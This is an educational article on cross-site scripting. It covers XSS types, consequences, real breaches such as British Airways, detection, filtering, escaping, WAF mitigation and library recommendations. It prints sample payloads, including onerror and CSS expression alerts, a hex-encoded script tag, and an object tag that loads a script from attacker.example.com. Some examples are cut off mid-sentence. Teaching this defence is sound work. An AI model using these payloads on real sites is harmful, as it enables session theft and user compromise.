Cross-site scripting (XSS)
What is cross-site scripting?
|Prevalence:||⬛⬛⬛⬛⬛||discovered very often|
|Scope:||⬛⬛⬛⬛⬜||websites and web applications|
|Technical impact:||malicious code run in the browser|
|Worst-case consequences:||full system compromise|
|Quick fix:||use user input filtration and encoding|
How does cross-site scripting work?
For many years, cross-site scripting had its own separate category in the OWASP Top 10. However, in 2021, the creators of the list decided to incorporate it into the Injection category along with SQL injection, RCE, and many more.
Types of cross-site scripting vulnerabilities
There are 2 very common cross-site scripting techniques:
Additionally, there are 2 other cross-site scripting techniques that are encountered less often than the two above:
These four types of XSS attacks are described in separate chapters.
XSS attack vectors
<img src=x onerror=alert("XSS")>
<div style="width: expression(alert('XSS'));">
<object type="text/x-scriptlet" data="http://attacker.example.com/xss.html">
Potential consequences of a cross-site scripting attack
Cross-site scripting is often underestimated. While the vulnerability does not directly affect the web server or the database, it may very easily lead to severe consequences such as the following:
- The attacker may be able to trick a legitimate user into providing their login credentials. If that user has administrative privileges, the attacker will gain administrative access to the web application. The attacker may also steal the user’s session cookies and then use them to log in as the victim to perform session hijacking. Such session token theft may lead to severe consequences, including the attacker obtaining full control over the web application (if the user’s cookie belonged to an administrator) and escalating the attack further.
- The attacker may use a site vulnerable to reflected XSS attacks as a tool to conduct a phishing campaign. Millions of emails may include a link leading to your web application – and whenever a victim visits that link, the victim’s browser will execute malicious content supplied by the attacker. This may have a huge impact on the reputation of your business.
- The attacker may also use cross-site scripting to download malware to the user’s computer, for example, a cryptocurrency mining script, DDoS botnet script, or even a trojan or ransomware installer. If this happens to a user with administrative privileges to company assets, it could even allow the attacker to gain full access to internal systems.
While most other web attacks target the server side, cross-site scripting is different in that XSS attacks use your website or web application as a tool to directly attack the users – either your business users or complete strangers. Because it’s the users who first suffer the consequences, the business impact of XSS on the application owner is often indirect and therefore underappreciated.
Examples of known cross-site scripting vulnerabilities
- In 2011, attackers used a Facebook XSS vulnerability to launch a self-propagating spam worm similar to the original Samy worm. The vulnerability was located in the Facebook Mobile API. The attackers created a web page with a specially crafted iframe element that forced all visiting Facebook users to post unauthorized messages on their walls, getting more users to visit the same page. This was one of many XSS vulnerabilities on social media sites, and others continue to surface even today.
- The British Airways 2018 breach – this was probably the most famous XSS breach so far that led to the theft of sensitive data. The attackers, suspected to be part of the Magecart organization, used an XSS vulnerability to skim personal and payment information of up to 380,000 British Airways customers. While it was not a classic stored XSS attack, the attackers managed to place malicious scripts on British Airways payment websites that sent sensitive information to a server under the attackers’ control. Similar Magecart attacks happened before and keep happening even today but usually, the scope of the attack is narrower.
How to detect cross-site scripting vulnerabilities?
The best way to detect XSS vulnerabilities varies depending on whether they are already known or unknown.
- If you only use commercial or open-source web applications and do not develop web applications of your own, it may be enough to identify the exact version of the application you are using. If the identified version is susceptible to XSS, you can assume that your website is vulnerable. You can identify the version manually or use a suitable security tool, such as a software composition analysis (SCA) solution.
- If you develop your own web applications or want the ability to potentially find previously unknown XSS vulnerabilities (zero-days) in known applications, you must be able to successfully exploit the XSS vulnerability to be certain that it exists. This requires either performing manual penetration testing with the help of security researchers or using a security testing tool (scanner) that can use automation to exploit web vulnerabilities. Examples of such tools are Invicti and Acunetix by Invicti. We recommend using this method even for known vulnerabilities.
How to prevent cross-site scripting vulnerabilities in web applications?
One of the reasons why cross-site scripting is so common is that it is difficult to protect against – more difficult than most other web vulnerabilities. While you can prevent most other vulnerabilities, for example, avoiding specific language constructs, the only sure way of preventing XSS in your application would be to completely avoid using user input data in client-side code. Unfortunately, that would cripple the core functionality of most applications.
Therefore, the best way to avoid cross-site scripting vulnerabilities is through validation and sanitization of user input. There are two primary techniques that you can use to sanitize data coming from the user: filtering and escaping.
Filtering for XSS
The simplest way to eliminate XSS vulnerabilities is to pass all external data through a filter. Such a filter removes dangerous keywords, for example, the
<script>alert("XSS");</script> would simply make it to the HTTP response as harmless
Unfortunately, filtering may have side effects. Filters often remove legitimate content because it matches forbidden keywords. That is why filtering is recommended only if the content is very simple. If the content is complex and, for example, needs to include HTML code, you should use escaping instead.
Some web developers choose to implement their own filters, usually using regular expressions. This is not recommended, as black-hat hackers can evade such simple filters using many tricks, such as hex-encoding special characters, using Unicode character variations, or introducing line breaks and null characters in strings. The list of XSS evasion methods is huge so it’s best that we simply direct you to a post dedicated to this topic.
Your custom filters would have to account for all such bypasses, making them very complicated and nearly impossible to maintain. That is why most developers prefer to use community-maintained libraries for XSS prevention, which use both filtering and encoding techniques. Such an approach is much more effective but, obviously, it’s only possible for development languages where such libraries exist.
Escaping from XSS
When you escape XSS (encode data), you are effectively telling the web browser that the content you are sending should be treated as data only and should not be interpreted in any other way. If an attacker sends a malicious script to your web application, the browser will not execute the encoded script but may instead, for example, display the malicious code as regular text on the screen.
- Use HTML escaping when you use untrusted data between HTML opening and closing tags. For example,
- Use CSS escaping when you use untrusted data in CSS styles. For example,
<div style="background-image: \x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29\x3B\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E">
- Use URL-encoding when you use untrusted data in a URL. For example,
Just as with custom filters, writing such escaping routines by yourself is extremely time-consuming and makes the code difficult to maintain. That is why most web developers use libraries to handle both filtering and escaping for XSS prevention. However, even if you use a third-party library, you must know which mechanisms to use in which parts of your source code.
If you write applications in Java, you can use the comprehensive ESAPI by OWASP library, which includes not just XSS protection but also anti-CSRF mechanisms and more. This project was originally available for many platforms (.NET, Classic ASP, PHP, ColdFusion & CFML, Python, even Node.js), but all other branches have unfortunately been deprecated. While OWASP suggests you can still find the older versions by searching on the Wayback Machine or GitHub, we do not recommend using deprecated libraries, ever. Another OWASP project for Java is the OWASP Java Encoder Project, which is much simpler than ESAPI and focused fully on XSS protection.
If you develop in PHP, have a look at HTML Purifier, which is an actively developed filtration-only library. You may also try htmLawed, which includes both filtration and escaping but is less frequently updated. Unfortunately, the third such project, php-antixss, has been abandoned for many years, so we do not recommend using it.
If you’re writing code for Microsoft technologies, you’re lucky. Microsoft supplies a comprehensive library that will meet all your needs – AntiXSS. This library is constantly updated and well-maintained and therefore no other tools are needed.
Please note that the topic of XSS prevention is very complex, so the above is only a simplified list. For a comprehensive, detailed guide, see the OWASP cheat sheet.
How to mitigate cross-site scripting attacks?
For temporary mitigation, you can rely on WAF (web application firewall) rules. With such rules, users won’t be able to provide malicious input to your web application, so no malicious code will execute in their browsers. However, since web application firewalls don’t understand the context of your application, these rules may be circumvented by attackers and should never be treated as a permanent solution.
Note that you should not rely on built-in XSS filters that come with many browsers. Initially meant to prevent XSS attacks, integrated filters turned out to be ineffective and easy for attackers to circumvent. They also created a false sense of security and discouraged developers from putting in the extra work to eliminate cross-site scripting vulnerabilities from their code. As a result, many browser vendors have already removed such client-side filters from their products.